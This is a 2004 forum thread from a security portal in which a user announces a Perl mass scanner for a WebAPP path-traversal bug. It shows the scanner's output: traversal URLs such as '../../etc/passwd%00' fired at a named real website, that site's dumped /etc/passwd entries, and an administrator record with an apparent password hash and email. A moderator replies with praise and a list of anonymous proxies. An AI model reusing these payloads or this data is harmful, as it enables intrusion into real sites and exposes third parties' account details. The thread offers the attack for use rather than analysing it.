Waraxe IT Security Portal
Login or Register
November 23, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 71
Members: 0
Total: 71
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Perl -> WebAPP newest bug mass scanner
Post new topicReply to topic View previous topic :: View next topic
WebAPP newest bug mass scanner
PostPosted: Wed Sep 01, 2004 7:19 am Reply with quote
bima
Regular user
Regular user
Joined: Jun 14, 2004
Posts: 16
Location: dunia fana




ok, let me introduce my new script :
WebAPP newest bug mass scanner

it wrote in perl.

ucan see it at
http://www.neoteker.or.id/modules.php?op=modload&name=News&file=article&sid=130&mode=thread&order=0&thold=0
or
http://www.geocities.com/iko94/tools/webapp_google_donlod.pl.txt

see the snip output :
Quote:

64.http://www.thanhtan.com/cgi-bin/vn/index.cgi?action=topics&viewcat=../../../
../../../../etc/passwd%00
Processing oi http://www.thanhtan.com/cgi-bin/vn/index.cgi?action=topics&viewcat
=../../../../../../../etc/passwd%00.....
Proses GET sedang berlangsung...
http://www.thanhtan.com/cgi-bin/vn/index.cgi?action=topics&viewcat=../../../../.
./../../etc/passwd%00 Success
200 OK could be Success
sukses donlod exp1 ...
found = 47" shape="rect" coords="267, 62, 350, 79 :::
found = 52" shape="rect" coords="349, 62, 433, 79 :::
found = 68" shape="rect" coords="432, 62, 516, 79 :::
found = 47" class="menu :::
found = 52" class="menu :::
found = 68" class="menu :::
found = root:*:0:0:Charlie &:/root:/bin/csh :::
found = daemon:*:1:1:daemon:/root:/sbin/nologin :::
found = operator:*:2:5:operator:/:/sbin/nologin :::
found = bin:*:3:7:bin:/:/sbin/nologin :::
found = tty:*:4:65533:tty:/:/sbin/nologin :::
found = kmem:*:5:65533:kmem:/:/sbin/nologin :::
found = games:*:7:13:games:/usr/games:/sbin/nologin :::
found = news:*:8:8:news:/:/sbin/nologin :::
found = man:*:9:9:man:/usr/share/man:/sbin/nologin :::
found = sshd:*:22:22:sshd:/var/empty:/sbin/nologin :::
found = smmsp:*:25:25:smmsp:/var/spool/clientmqueue:/sbin/nologin :::
found = mailnull:*:26:26:mailnull:/var/spool/mqueue:/sbin/nologin :::
found = bind:*:53:53:bind:/:/sbin/nologin :::
found = cyrus:*:60:60:cyrus:/nonexistant:/sbin/nologin :::
found = uucp:*:66:66:uucp:/var/spool/uucppublic:/usr/libexec/uucp/uucico :::
found = xten:*:67:67:xten:/usr/local/xten:/sbin/nologin :::
found = www:*:80:80:www:/nonexistant:/sbin/nologin :::
found = mysql:*:88:88:mysql:/var/db/mysql:/sbin/nologin :::
found = postfix:*:90:90:postfix:/var/spool/postfix:/sbin/nologin :::
found = clamav:*:93:2001:clamav:/dev/null:/sbin/nologin :::
found = powweb:*:100:100:powweb:/powweb:/usr/local/bin/bash :::
found = james:*:101:0:james:/usr/home/james:/usr/local/bin/bash :::
found = andrew:*:102:0:andrew:/usr/home/andrew:/usr/local/bin/bash :::
found = steven:*:103:0:steven:/usr/home/steven:/usr/local/bin/bash :::
found = winnie:*:104:100:winnie:/usr/home/winnie:/usr/local/bin/bash :::
found = 47 :::
found = 52 :::
found = 68 :::


Processing oi http://www.thanhtan.com/cgi-bin/vn/index.cgi?action=topics&viewcat
=../../db/members/admin.dat%00.....
Proses GET sedang berlangsung...
http://www.thanhtan.com/cgi-bin/vn/index.cgi?action=topics&viewcat=../../db/memb
ers/admin.dat%00 Success
200 OK could be Success
sukses donlod exp2 ...
found = 47" shape="rect" coords="267, 62, 350, 79 :::
found = 52" shape="rect" coords="349, 62, 433, 79 :::
found = 68" shape="rect" coords="432, 62, 516, 79 :::
found = 47" class="menu :::
found = 52" class="menu :::
found = 68" class="menu :::
found = adniqN/bZkSVw :::
found = Admin :::
found = contact@thanhtan.com :::
found = http://www.thanhtan.com/ :::
found = My generic signature&& :::
found = 5 :::
found = Administrator :::
found = _nopic.gif :::
found = forever :::
found = 38 :::
found = 0 :::
found = standard :::
found = 47 :::
found = 52 :::
found = 68 :::



* No Warranty. This tutorial is for educational use only,
* commercial use is prohibited.

Laughing Laughing Laughing Laughing Laughing
View user's profile Send private message Visit poster's website
PostPosted: Wed Sep 01, 2004 3:25 pm Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




good work men bima


High anonymity proxy


Code:
210.5.71.242 8080 High anonymity Philippines
61.221.30.167 3128 High anonymity Taiwan,
211.79.149.111 80 High anonymity Taiwan,
210.5.71.242 80 High anonymity Philippines
210.22.7.194 80 High anonymity China
210.21.203.226 80 High anonymity China
202.111.154.51 80 High anonymity China
202.108.228.102 8080 High anonymity China
211.146.112.138 3128 High anonymity China
61.247.233.197 6588 High anonymity India
218.28.9.212 8080 Anonymous China
218.57.143.253 80 Anonymous China
81.3.20.97 8080 Anonymous Germany
212.29.32.67 80 High anonymity Germany
218.188.8.182 80 Anonymous Hong Kong
65.102.221.45 80 High anonymity United States
24.95.134.142 80 Anonymous United States
216.82.73.17 80 High anonymity United States
201.134.72.44 80 High anonymity United States
208.253.249.93 80 Anonymous United States
ceatl2.public.lib.ga.us 8080 High anonymity United States
24.12.45.80 8080 High anonymity United States
24.16.105.133 8080 High anonymity United States
151.202.154.243 8080 High anonymity United States
200.62.146.126 8080 High anonymity United States
68.53.226.72 8080 High anonymity United States
212.213.70.4 80 High anonymity Finland
81.255.25.241 3128 High anonymity France
217.172.70.182 3128 High anonymity Spain
210.172.146.52 80 High anonymity Japan
222.83.179.250 8080 Anonymous China
81.196.12.46 80 High anonymity Romania
202.129.0.14 8080 High anonymity Thailand
203.150.225.117 3128 High anonymity Thailand
219.137.154.119 8080 Anonymous China Tue Aug
200.74.139.5 8080 Transparent undefined
220.195.161.236 8080 Anonymous China
64.66.106.150 8000 Anonymous United States
61.182.39.219 8080 Anonymous China
168.210.132.34 8080 Anonymous United States
View user's profile Send private message Visit poster's website
okay
PostPosted: Thu Sep 02, 2004 1:31 am Reply with quote
bima
Regular user
Regular user
Joined: Jun 14, 2004
Posts: 16
Location: dunia fana




thanx bro...

Smile
View user's profile Send private message Visit poster's website
WebAPP newest bug mass scanner
www.waraxe.us Forum Index -> Perl
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.035 Seconds